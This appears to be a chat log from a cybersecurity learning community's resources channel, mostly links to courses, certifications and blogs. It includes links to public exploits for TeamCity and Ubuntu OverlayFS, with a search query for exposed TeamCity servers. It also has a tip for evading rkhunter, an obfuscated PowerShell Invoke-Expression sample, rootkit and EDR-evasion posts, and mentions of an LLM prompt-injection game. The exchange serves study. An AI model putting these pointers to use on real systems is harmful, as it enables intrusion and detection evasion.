POC : https://github.com/H454NSec/CVE-2023-42793

Yaml : https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-42793.yaml

Fofa query: title="Log in to TeamCity" icon_hash="-1944119648"

CVE-2023-2640 , CVE-2023-32629 : Ubuntu Linux Kernel - Local Privilege Escalation

POC : https://github.com/luanoliveira350/GameOverlayFS

POC2 : https://github.com/OllaPapito/gameoverlay

Blog : https://www.wiz.io/blog/ubuntu-overlayfs-vulnerability

NIST : https://nvd.nist.gov/vuln/detail/CVE-2023-2640

✅TEST : Tested on Ubuntu 20.04 with kernel 5.4.0

[steel plume]

ADCS Exploitation
https://medium.com/@shaunwhorton/certifried-bloodhound-active-directory-certificate-services-abuse-f28850ffefc9
https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-certificate-services/
https://luemmelsec.github.io/Skidaddle-Skideldi-I-just-pwnd-your-PKI/
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-misconfigured-certificate-template-to-domain-admin

If you want to set it up yourself:
https://www.virtuallyboring.com/setup-microsoft-active-directory-certificate-services-ad-cs/
https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-one/
https://www.crowe.com/cybersecurity-watch/exploiting-ad-cs-a-quick-look-at-esc1-esc8
https://youtu.be/NWrVsSRzABw

[sonic abyss]

The new cloud+ certificate 4.0 from compTIA is in beta and you can get it for £36

Just search "Cloud" when ordering an exam

The current one is around $370 so would say it's a pretty good deal

[short island]

How long do they stay in beta?

[brave harbor]

It varies if I remember it correctly, but usually until the beta test results are released (included in the invite or announcement).

[short island]

I havent got a single cert, not sure if i could do this in time

[idle robin]

https://www.youtube.com/watch?v=QcFyOlOmvTw&ab_channel=MatheuZSecurity

[sudden fern]

uh oh

shadow relies on rkhunter and paccheck to make sure they are not in a bad spot

this makes it seem trivial to defeat that security part

[idle robin]

hahah

bypass rkhunter is easy

because rkhunter is signature based...

so if you modify exactly functions where located in /var/log/rkhunter.log you can easy bypass rkhunter

[snow gyro]

any resources on evasion and asmx86-64?

asmi386 too

[upbeat jackal]

hey can anyone provide me a list containing everything useful, while providing me with learning pathway, for various Security jobs? (both red and blue teaming) as a complete beginner with quite a bit of knowledge of python, java, and c++ (i just know the very basics). I'm hoping it's free resources btw.

[kindred shard]

Walking An Application

Answer the questions below

What is the flag from the HTML comment?

What is the flag from the secret link?

What is the directory listing flag?

What is the framework flag?

[sonic abyss]

https://it-tools.tech/

[wispy mirage]

https://www.youtube.com/watch?v=YUqj2U4-v-w

[eternal creek]

I wrote some code for Asymmetric Key Exchange if anyone is interested in using it or would like to contribute:

https://github.com/Ajmal338/AsymmetricKeyExchangeScript/tree/main

[main plume]

Hi, do you know something similar to AWS Attacking and Defending Training that THM just launched?

[brave harbor]

Similar in what way?

I remember seeing a LI post about AWS earlier -

https://www.linkedin.com/posts/mike-dame_for-those-interested-in-learning-aws-security-activity-7155612674255388672-2E0f?utm_source=share&utm_medium=member_android

[main plume]

Sorry for the missing part, i want something similar for learning Azure Security.

or general cloud

[brave harbor]

For Azure, MS has a lot of free material if I'm not mistaken though you have to be mindful of the use, similar to AWS free tier.

[sonic abyss]

Hey all, just wrote my first-ever blog post on one of my favourite security research findings. I would love to hear your thoughts and I hope that you can take something useful away from it!
https://skii.dev/rook-to-xss/

[heady gust]

amazing thanks for sharing! lmao the blind xss part the best 😄

[odd sinew]

Gave +1 Rep to @sonic abyss (current: #13 - 466)

[heady gust]

impact through the roof

[sonic abyss]

Thank you! Yeah, that really caught me off guard 😆

[odd sinew]

Gave +1 Rep to @heady gust (current: #1311 - 2)

[wispy mirage]

https://www.youtube.com/watch?v=wUekNpYbf1Y

[versed spire]

really cool stuff! love the narrative elements of the blog, very engaging

[sonic abyss]

Thank you!!

[odd sinew]

Gave +1 Rep to @versed spire (current: #136 - 48)

[nova loom]

Any good resources for RISC-V assembly?

[hushed estuary]

Narratives make things easier to follow imo

[versed spire]

For sure

[kind plaza]

Absolutely fabulous blog. I like how you talked about the steps you did and also explained those steps.

[nocturne river]

crazy man 🙌

[night ether]

Nice man looks good! I also started to look at the image upload function on chess.com when you mentioned that you found an xss on chess.com and I realised they had a bug bounty, now I know you are the one that beat me to it

[sonic abyss]

ahha lmao, yeah I found this over a year ago now 😆

[night ether]

Might be worth google dorking for that tinymce link and trying the same thing everywhere

[vast dock]

Really nice read ! Both technically insightful and well-written

[vast dock]

https://learn.microsoft.com/en-us/
https://learn.microsoft.com/en-us/openspecs/protocols/ms-protocolslp/9a3ae8a2-02e5-4d05-874a-b3551405d8f9

Useful ressources to learn more about Microsoft environment and in particular their networking protocols

[regal sentinel]

Curious if anyone knows of any internet facing networks that allow you to ingest their logs for research purposes?

I am working through the SC-200 course and want to ingest logs for analysis in my lab. (Yes I know I could just spin up vms and simulate traffic on them) Id just like to cut cost on compute resources.

[idle robin]

https://www.youtube.com/watch?v=2qo4dJF4oKE

https://www.linkedin.com/posts/matheus-alves-212775208_sophos-evasion-c2-activity-7160256511733055489-ARQh?utm_source=share&utm_medium=member_android

[idle robin]

https://www.linkedin.com/posts/matheus-alves-212775208_trend-evasion-c2-activity-7160663661986951168-sc5b?utm_source=share&utm_medium=member_android

[vast dock]

Hello, does anyone have good ressources to learn how migration between processes work ? (the migrate command in meterpreter)

[lilac sundial]

https://github.com/capitansec/PortPilot

[dusk anchor]

New episode my security podcast is out thanks to all who listen every week - https://podcast.lipanisecurity.com/e/apple-zero-day-sold-to-government/

[idle robin]

https://www.linkedin.com/posts/matheus-alves-212775208_evasion-c2-bypass-activity-7163528137006379008-BceH?utm_source=share&utm_medium=member_android

[idle robin]

https://matheuzsecurity.github.io/hacking/linux-threat-hunting-persistence/

[idle robin]

https://www.linkedin.com/posts/matheus-alves-212775208_bypassing-check-point-harmony-endpoint-security-activity-7166457353154891777-XEuk?utm_source=share&utm_medium=member_android

[idle rain]

https://belkasoft.com/android-forensics-training

Free 6 CPE Credits - self-paced, Android Security course, sharing for visibility

Note: it apparently only accepts business emails and rejects public email domains. (Acendotal evidence from this reddit post: https://www.reddit.com/r/computerforensics/comments/1awamhm/free_course_android_forensics/) I'd recommend signing up with a business email. Hopefully it will work for you!

[stuck abyss]

Belkasoft has some really good software.

[idle rain]

Wow that is great to hear. their training is also not cheap

so the fact this is free is awesome

[stuck abyss]

Yeah, they've gave me a couple of training stuff free

[light crystal]

im a student :( + i dont have uni email cuz im not in uni

[idle rain]

Aw sorry to hear; maybe try a regular gmail anyway and see if you get it

[heavy elm]

:hammer: escanor_pride007#0 has been banned.

[idle robin]

https://www.youtube.com/watch?v=iRSTamsoEG0

[sonic abyss]

https://youtu.be/J0NuOlA2xDc?si=53sCQQK9X_FxfJE4

[prisma bison]

Please interact with the community first.

This is your final warning @gusty mountain

[willow loom]

https://github.com/Terraminator/cloudstrike

[slate schooner]

For my colleagues who want to do pentesting on a Macbook of the M-series, I have created a guide on how to install Parrot OS 6.0 on it. https://github.com/zero2504/blog_pentester
https://medium.com/@pnhbzgrht/tutorial-how-to-install-parrot-os-on-mac-with-arm64-on-parallels-and-vmware-c7d7446cebae

[heavy elm]

URL Scan Report

Report for https://medium.com/@pnhbzgrht/tutorial-how-to-install-parrot-os-on-mac-with-arm64-on-parallels-and-vmware-c7d7446cebae

Malicious?

false

[elfin turret]

check here https://learn.microsoft.com

[sudden fern]

https://www.youtube.com/watch?v=JoaIoctknLk

[tepid patio]

4 years ago we created a community tryhackme recipe site. The site no longer exists, but the recipes do!

Are you interested in what a hackers favourite food is? Take a trip down memory lane 😄

https://github.com/bee-san/TryRecipeMe/tree/master/content/blog

[rose mango]

anyone know good resource for manual web pentesting?

[ripe adder]

https://portswigger.net/web-security

[grand patrol]

Do you know a good certification site for the cloud in general? I already have access to the Cisco platform, and Microsoft Azure but I would like something different ?

[sterile isle]

Try GCP

[golden nova]

https://snoopgod.com/

[fair fable]

https://www.humblebundle.com/software/complete-aws-comptia-azuregoogle-cloud-and-cybersecurity-certification-bundle-software
[ Offer up for 8 more days at time of posting ]

[jagged tiger]

Generally we don't let people just drop links to their own products without participating in the community.

[junior mica]

https://fmhy.net/devtools#cybersecurity

[vagrant lion]

oh cool

[finite epoch]

Anything for learning assembly?

[heady gust]

https://asmtutor.com/

[ebon sphinx]

@stuck abyss link from an inactive user. It's their only message.

[stuck abyss]

@lofty tree No self promotion please, interact more with the community first.

[stuck abyss]

Thanks!

[odd sinew]

Gave +1 Rep to @ebon sphinx (current: #145 - 47)

[ebon sphinx]

you're welcome

[lofty tree]

ok, got it. Not inactive, though, just not posting much, more on the reading side of things 😉

[stuck abyss]

That's not something we can see though.

[ebon sphinx]

based on your join date of thm I just assumed it was like that. Keep on reading

[lofty tree]

So, I can not post the link to the GPT I made?

[lofty tree]

no problem. Just wanted to share a thing I made.

[lofty tree]

Well, I was trying to interact, didn't I? 😄

[rugged forum]

Any resources for learning Go for scriptin ?

[fair fable]

Just overall scripting or focus on Cybersec stuff?

[odd quest]

@ebon tapir Please interact with the community here before self promoting

@fair fable That's book piracy, please DO NOT do this here

[tepid patio]

Interested in OSINT? Interested in geolocating images taken in Mongolia?

This is a 173 page document on playing Geoguessr in Mongolia!
https://docs.google.com/document/d/1W_QK69BXMHUZXI5VdNH93_aLhTd9SQzNYhRLrh_-ZVA/edit?ref=thebrowser.com

[stuck abyss]

https://secops.group/pentesting-exams/offers/

[versed spire]

are these secops courses any good? havent heard much about them online

[stuck abyss]

I'm not sure tbh, I'm sort of scepitcal as the with price drop.

[shut ferry]

I think I'll bite the bait and take the Certified Network Pentester one, looks interesting, will report if anything, if the syllabus are real, it covers way more subjects than eJPT

[versed spire]

cool, keep us posted

[dusk ginkgo]

Hi, can anyone recommend any resources and/or THM rooms related to using ip route add. I'm trying to understand when to use this and why and I prefer practical examples to learn.

I found a few medium articles but still not 100% clear

[smoky crater]

Hi there, I'd like to share the tool that I've published recently for detecting Rogue Access Points & Hidden Access Points on 802.11 Networks:

https://github.com/ccelikanil/GhostBeacon

[fleet star]

Ohh. Interesting

[tepid patio]

new rustscan release (i sliocewd my fdinger so i cant write much hahahah) https://github.com/RustScan/RustScan/releases/tag/2.2.2

[shut scarab]

w

[thick geyser]

Hi! I'm currently looking for Ruby on Rails specific resources for finding vulnerabilities. I have looked at Rails 6, but I'm having trouble finding anything with Rails 7. I'm currently looking into the RailsGoat project by OWASP. Maybe there's some more resources or other communities you would recommend checking out?

[austere marten]

Greg Molnar wrote a good blog post about a code auditing checklist:
https://greg.molnar.io/blog/secure-code-review-checklist/
also there's the official Rails Security Guide:
https://guides.rubyonrails.org/security.html
and the OWASP Rails Security Guide:
https://cheatsheetseries.owasp.org/cheatsheets/Ruby_on_Rails_Cheat_Sheet.html
as for understanding what changed between Rails 6 -> 7, see the changelog:
https://edgeguides.rubyonrails.org/7_0_release_notes.html

[thick geyser]

thanks you!

[odd sinew]

Gave +1 Rep to @austere marten (current: #299 - 16)

[idle robin]

https://www.linkedin.com/posts/matheus-alves-212775208_tracee-linux-syscall-activity-7189321129889579009-6_5a?utm_source=share&utm_medium=member_android

[stuck abyss]

Please interact more before self promotion

[steel plume]

https://swisskyrepo.github.io/InternalAllTheThings/

[signal harbor]

Did you ever take the SC-200? @copper tangle

[prisma bison]

Please interact with the community before self promoting here

[golden nova]

https://youtu.be/RU7BYxmSBNg?si=1xNrgM797XA8mkXW

You guys have to check this out

[idle robin]

https://www.linkedin.com/posts/matheus-alves-212775208_havoc-c2-sophos-activity-7195072628515102720-hbZM?utm_source=share&utm_medium=member_android

[toxic marsh]

Thank you was looking for this

[bronze geyser]

what’s the best resource that helped you master IDOR vulnerability?

[balmy merlin]

https://portswigger.net/web-security/access-control/idor

[sonic abyss]

https://youtu.be/CxGSnA-RTsA

[sonic abyss]

CompTIA PenTest+ Beta Exam is now available to book for an absolute steal (£36 compared to the usual ~£300).
Same with the new SecurityX cert (formerly known as CASP).

You can find them here: https://wsr.pearsonvue.com/testtaker/registration/SelectExamPage/COMPTIA/250068
And information about the new SecX: https://www.comptia.org/certifications/comptia-advanced-security-practitioner

Deadline for PenTest+ is 6 aug. Deadline for SecX is 23 July.

[nova loom]

Read this after my architectures class and it was amazing how everything connected: https://cpu.land/

[sonic abyss]

https://hpbn.co/

cool stuff

[hushed estuary]

Those blue teamers who use suricata may find this interesting https://pawpatrules.fr/

[whole imp]

Explore expert SOC Analyst notes curated for cybersecurity skill enhancement. Check out the GitHub repository https://github.com/MaheshShukla1/SOC-Analyst-Notes

[jagged tiger]

is this your github?

[whole imp]

yes

[sonic abyss]

https://hackclub.com/arcade/
I Know a lot of young people are here, something for you to do over the summer (tinkering around AND getting free stuff!)

[idle robin]

https://www.linkedin.com/posts/matheus-alves-212775208_github-matheuzsecurityimperius-make-an-activity-7209298063675314177-YPl0?utm_source=share&utm_medium=member_android

[glossy flax]

The International Monetary Fund on how governments should/could deal with the proliferation of AI

A critical distinction between gen AI and past disruptive technologies (such as the steam engine, electricity, and early computers) lies in its potential for rapid diffusion. The sheer scale and speed of the transformation pose risks to labor markets. While automation and robots have already displaced low- and middle-skill jobs involving routine tasks, gen AI’s capabilities extend to more intelligent automation, potentially amplifying job losses in cognitive occupations. Consequently, the labor income share in national income may further decline, exacerbating income and wealth inequality. Dominant firms in increasingly concentrated markets could reinforce their market power and enjoy monopoly rents. This note provides analysis and guidance for policymakers as they prepare for the transformative impact of gen AI.
https://www.imf.org/en/Publications/Staff-Discussion-Notes/Issues/2024/06/11/Broadening-the-Gains-from-Generative-AI-The-Role-of-Fiscal-Policies-549639

[green comet]

https://open.spotify.com/episode/6xaQacTuiM4cB9PpDwGDTD?si=Yza14HF2Q--RfWEYaI-EGw&preview=video

[nova loom]

https://www.cyberark.com/resources/threat-research-blog/cracking-wifi-at-scale-with-one-simple-trick

[quaint sand]

anyone could recommend some good reverse engineering resources like free Books, online courses, or tutorials. Thanks in advance!

[ripe adder]

https://p.ost2.fyi/

[quaint sand]

Thank you

[odd sinew]

Gave +1 Rep to @ripe adder (current: #1401 - 2)

[sonic abyss]

https://gandalf.lakera.ai/

[sonic abyss]

https://imhex.werwolv.net/

[drifting citrus]

https://youtu.be/rHxYZwMz-DY?feature=shared

[idle robin]

https://www.youtube.com/watch?v=FoX9euULFQo

[idle robin]

https://www.linkedin.com/posts/matheus-alves-212775208_kernel-rootkit-linux-activity-7213936890163466240-Plwu?utm_source=share&utm_medium=member_android

[ruby needle]

https://medium.com/@firdaus-jawed/how-to-approach-a-cp-or-dsa-problem-3d4ad5ec957f

[flint drum]

check out this awesome cheat sheet for windows forensics 😄

[stuck crag]

Started with the introtoshells room and figured that I'm lacking so much background knowledge. Found this nice writeup to get a foothold: https://thevaluable.dev/guide-terminal-shell-console/ which seems to be good, lighthearted and with many links.

[tepid patio]

this looks fun thank you

[odd sinew]

Gave +1 Rep to @stuck crag (current: #1409 - 2)

[stuck abyss]

https://www.youtube.com/playlist?list=PLHJns8WZXCdu6kPwPpBhA0mfdB4ZuWy6M

Up your Ghidra game.

[prisma bison]

Hey @idle robin that isn't really a resource 😄

[prisma bison]

@ruby needle ?

[leaden willow]

👍

[sonic abyss]

https://nandgame.com/

[golden nova]

Nice

[ruby needle]

https://youtu.be/KX0sYR9vev0?si=yArJ_y7UN8DkZRvE

[stuck abyss]

FREE... CompTIA CloudNetX Beta exam at no cost

https://www.comptia.org/certifications/become-a-subject-matter-expert/comptia-cloudnetx-beta-exam

[tepid patio]

@sonic abyss and I have our first CVEs in the software Anki 🥳

My post: https://skerritt.blog/anki-0day/
Jayy's Post: https://skii.dev/anki-0day/

[sonic abyss]

WHOOO

[shut ferry]

by Jacob

JUL 24, 2024
65 MIN READ

Ah yeah

[sonic abyss]

There was a lot to cover 😆

It's not really 65 minutes

[versed spire]

this is a really cool writeup!

[thin crypt]

this isnt 2 hours

[crystal patrol]

I am unable to pass level 3

[idle robin]

https://notes.vulndev.io/wiki/redteam/active-directory

[idle robin]

https://www.youtube.com/watch?v=fMxSRFYXMV0

[icy bobcat]

https://hackingblogs.com/new-microsoft-outage-ddos-hackingblogs/

[sonic abyss]

https://passwordvillage.org/index.html

[icy bobcat]

Can someone explain

This article

[prisma bison]

@icy bobcat is this your article..?

[icy bobcat]

It's not mine but someone in LinkedIn shared it

[prisma bison]

Interesting that the author is identical to the last 4 articles you were promoting here?

[icy bobcat]

Buddy its a free site you can write your articles there just dm the admin on Twitter

I posted some on them that doesn't mean it's my site

[prisma bison]

No, you were advertising them which is against the rules and you were warned that the next time you would be removed for doing it.

[icy bobcat]

Am I advertising rn

I have a legit question that does anyone knows anything about Bluetooth hacking what the article says

Chill mate

[prisma bison]

If you post that website again you will be banned for continuously advertising without interacting with the community.

[icy bobcat]

Haha

[heavy elm]

@icy bobcat has been warned.

[icy bobcat]

Atleast i have higher rank tha you

[prisma bison]

Hey @keen pagoda can you interact with the community more before self promoting please

[keen pagoda]

Okay understandable

[tropic timber]

So I've been doing some prompt engineering on LLMs for lakera ai's gandalf box. Anyone have resources I can read to learn more techniques and strategies? I'm stuck but I don't want just a hint, I wanna do my own research and really learn / develop this skill set.

[nova loom]

There's very good resources on the gandalf website itself: https://gandalf.lakera.ai/pinj

[tropic timber]

Ty

[onyx rapids]

This may have already been mentioned (and may only be for those of us in the US) https://www.gale.com/public You may have access to many courses through your local libraries. For example, I have access to all of linkedin learning, UDEMY Business, and many other resources that my local public libraries provide.

[stuck abyss]

Sploitify seems really interesting..

[vivid zealot]

I have a question that I should have posted in this resource channel.
In the SOC level 1 path there is a room called TEMPEST that is in the capstone challenges at the end of the learning path.
There is a tool used in the attached VM called SysmonView.I want to find and download this tool on my personal computer so I can practice.
I clicked on a link provided in the room that goes to Eric Zimmerman's github page but SysmonView is not listed there.
I've searched the web for a place to download SysmonView with no luck.
Does anyone have an idea where I can find and download or obtain this resource so I can practice with my own copy of SysmonView?

[sonic abyss]

https://github.com/nshalabi/SysmonTools/tree/master

64.zip

[vivid zealot]

Jayy,
Sorry. I hit the enter before finishing.
You are awesome!!
Thank you so much.

[sonic abyss]

yes?

[vivid zealot]

Should I click on the "code" button or the "raw" button to get the download? I'm still kind of confused about all the different ways to do stuff on github.

[sonic abyss]

Should be a download button

[vivid zealot]

https://tenor.com/view/xluna-high-five-gif-25422702

Once again, Thank you so much!!
I have it downloaded and it runs fine on my computer.

[idle robin]

https://matheuzsecurity.github.io/hacking/a-simple-way-to-detect-and-remove-kovid-lkm-rootkit/

[trail prawn]

Has anyone tried this: https://www.youtube.com/watch?v=NWyqSbnsvGU&t=362s // https://github.com/Datalux/Osintgram/tree/v2?tab=readme-ov-file
Just tried it now but it does not work, unsure if I did something wrong.

[balmy merlin]

That's very outdated

[trail prawn]

Oh... Then how do I find new resources 😭

[stuck abyss]

Don't watch Network Chuck

[ebon sphinx]

gottem

[golden nova]

Network chuck good in some stuff

[vast thorn]

Hi,

I wanna start a medium blog with some Walkthroughs for our French users because a lot of resources are in English. What I'm not allowed to reveal through that ? (Flags ? Some rooms ?)

[stuck abyss]

Yeah, you're not allowed to reveal flags, tim recently done a post on this, I'll try and find it.

Ah it's ok, he pretty much just said no flags

[vast thorn]

To be sure I'll not post the flag itself, the most important thing is the path to find it

[idle robin]

https://matheuzsecurity.github.io/hacking/a-simple-way-to-detect-and-remove-kovid-lkm-rootkit/

[fallow needle]

https://xmind.app/m/GeZhxV/

[median arrow]

This is nice, some devops stuff - https://sadservers.com/

[prisma bison]

Please don’t self promote here

[wooden turtle]

Are there any student sponsorships in cyber or tech in the US?
Trying to see what I can get for free.

[idle robin]

https://github.com/MatheuZSecurity/KThreadShell

[sonic abyss]

https://www.smashthestack.org/main.html#wargames

[earnest linden]

Hello

Can anyone suggest a tool similar to Caldera Agent for Adversary Attack Simulation?

[marsh cape]

AttackIQ? https://www.attackiq.com/products/enterprise/

[shut ferry]

So Praise be to God, I finished a 10 video series on OWASP Topp 10 with examples and exploitations, check it if you want to;)

https://youtube.com/playlist?list=PL6PkfQ747yvZG9cXA5nOpO_8Q5z2Qd86o&si=uJStBiy3b3K5AuNe

[idle robin]

https://github.com/MatheuZSecurity/detect-lkm-rootkit-cheatsheet/blob/main/README.md

[dusky slate]

https://github.com/takitakitanana/fuzzmask

next update will include stuff like i''Ex''""([cHaR]67+":\*\*e*\?''???''??K?''.*E") which is the same as the demo gif, but a bit more fancy

[jade shell]

Great job man, keep it up 🙂

[dusky slate]

cheers guys, appreciate it @steep turtle @jade shell

[cedar island]

Couldn't find a better channel to drop this, so here it is: my windcorp series writeup, enjoy !

Ra, Ra2 and Set are complete, i'm still working on OSIRIS last step and will update the writeup soon enough ...

https://github.com/0xSickb0y/windcorp

[prisma bison]

#thm-community-media

[prisma bison]

Please don't advertise here:)

[near scroll]

This is not advertisement this is free cloud training sir ... U really want to prevent students from free labs

[prisma bison]

It was a link to your linkedin page:)

If you want to share the resource, please post a direct link without any referral links or redirects 🙂

[dim marlin]

anybody have resource for Machine Learning in Security ?

[cerulean tapir]

Ice Bear need details on how to do kali linux partitions properly because Ice bear can't find it on official documentation

[stuck abyss]

@latent kelp No self promotiuon please.

[idle robin]

https://matheuzsecurity.github.io/hacking/ldpreload-rootkit/

[idle robin]

https://www.binarly.io/blog/logofail-exploited-to-deploy-bootkitty-the-first-uefi-bootkit-for-linux

[shut ferry]

test

[left granite]

Posted ages ago now I know but these are cool

[shut ferry]

https://www.imperva.com/learn/application-security/reverse-shell/

In case anyone wanted to know why attackers use reverse shells

Although there are legitimate uses for reverse shells, cybercriminals also use them to penetrate protected hosts and perform operating system commands. Reverse shells allow attackers to bypass network security mechanisms like firewalls.

[idle robin]

https://github.com/MatheuZSecurity/Rootkit

[manic shadow]

What can i buy to learn more about cybersecurity? I got a $250 amazon gift card and i was thinking what to use for, and i thought that was a good idea to buy something that will help me have more experience in this field, so what is a resource that can help me learn more about cybersecurity? (Besides books)

[shut ferry]

books

best resource in amazon for CS is books

[leaden mirage]

might be good to sleep on it for a bit. depending what you are interested in it could be a goo resource for IOT devices, MCU's, wifi, red team devices etc if you get into stuff like that later. the THM platform has a massive repository of info to get started and find where you want to go with it.

[idle robin]

https://matheuzsecurity.github.io/hacking/ftrace-rootkit/

[prisma bison]

Hey there, please respect our advertising guidelines (linking to other platforms) #rules 🙂

[flint vine]

so LDAP 101 :

Kerberos Authentication Process

1. The user logs on, and their password is converted to an NTLM hash, which is used to encrypt the TGT ticket. This decouples the user's credentials from requests to resources.
2. The KDC service on the DC checks the authentication service request (AS-REQ), verifies the user information, and creates a Ticket Granting Ticket (TGT), which is delivered to the user.
3. The user presents the TGT to the DC, requesting a Ticket Granting Service (TGS) ticket for a specific service. This is the TGS-REQ. If the TGT is successfully validated, its data is copied to create a TGS ticket.
4. The TGS is encrypted with the NTLM password hash of the service or computer account in whose context the service instance is running and is delivered to the user in the TGS_REP.
5. The user presents the TGS to the service, and if it is valid, the user is permitted to connect to the resource (AP_REQ).

[jaunty bronze]

Hey everyone. Who can give an advice about setting home lab on like purple teaming. There will be like me trying to hack, also some SIEM maybe, where I can also look for logs and what happened. Which resources are good to build that kind of lab?

[simple creek]

https://m.youtube.com/watch?v=t6PqjLIVgdA

https://m.youtube.com/watch?v=2XLzMb9oZBI

And maybe set it up on Kali purple

[elfin minnow]

Hey, does THM have lots of osint rooms? I've done just about all the free ones that have been recommended to me, and I'm wondering if there are more. I just did Sakuraalmost without needing walkthrough hints. Got stuck one of the geolocation bits. (And apparently that room is supposed to be easy 😂) What are some good ones I should do next?

Particularly, I really enjoyed Sakura for how "real" it felt

[jade shell]

Have you tried OhSint 🙂 ?

[gritty barn]

I assume you already had a look at the pin messages especially this one?

[jaunty bronze]

Thanks a lot

[odd sinew]

Gave +1 Rep to @simple creek (current: #875 - 5)

[unique crown]

I came across this resource Powershell scripts for Hackers and Pentesters as i was searching for "powershell for hackers"
https://github.com/Whitecat18/Powershell-Scripts-for-Hackers-and-Pentesters

fairly recent repo

[elfin minnow]

I did! That one iirc I did without needing the walkthrough actually, that was fun 😄

[elfin minnow]

ooh, I'd missed that actually 😄 I'll take a look!

ctf.cybersoc.wales seems to be a dead link btw

[jade shell]

This one maybe 🙂

https://tryhackme.com/r/room/webosint

[stuck abyss]

@summer plinth Please interact more with community before posting own tools please.

[summer plinth]

Does this rule also applies for articles?

[idle robin]

https://inferi.club/post/pwning-my-router-for-fun-discovering-a-0-day-authenticated-rce

[sonic abyss]

Awesome blog! :)

[idle robin]

Thank you

[odd sinew]

Gave +1 Rep to @sonic abyss (current: #14 - 594)

[rain depot]

https://www.brunorochamoura.com/posts/cpts-report/

Useful for those trying to have a better methodology for report writing. Some good advice here in my opinion.

[jade shell]

@idle robin @rain depot Great articles , thanks for sharing 😄

[odd sinew]

Gave +1 Rep to @idle robin (current: #114 - 67)

[rain depot]

https://docs.sysreptor.com/htb-reporting-with-sysreptor/

This is the tool the article mentions, as well as the HTB templates for anybody who is interested.

[idle robin]

https://inferi.club/post/adcs-en

[hollow prism]

does anyone have resources for computer organization/architecture

[gritty barn]

sysreptor is clunky af, you're better off spinning pwndoc-ng or something like that and customise it from there

https://pentestreports.com/applications for alternative tooling

[rain depot]

I’ll have to check this out thank you.

[odd sinew]

Gave +1 Rep to @gritty barn (current: #217 - 33)

[native falcon]

Book recommendations anyone

[half osprey]

Ghost in the wires - Kevin mitnick

[native falcon]

Can I find the PDF online?

[idle robin]

https://inferi.club/post/the-art-of-linux-kernel-rootkits

[half osprey]

Probably. I just rented it out on an online library free

[cyan tundra]

https://start.me/p/DPYPMz/the-ultimate-osint-collection

https://bellingcat.gitbook.io/toolkit

https://www.forensicosint.com/

https://www.authentic8.com/

[native falcon]

linux for beginners resources please

[jade shell]

Check this one out 🙂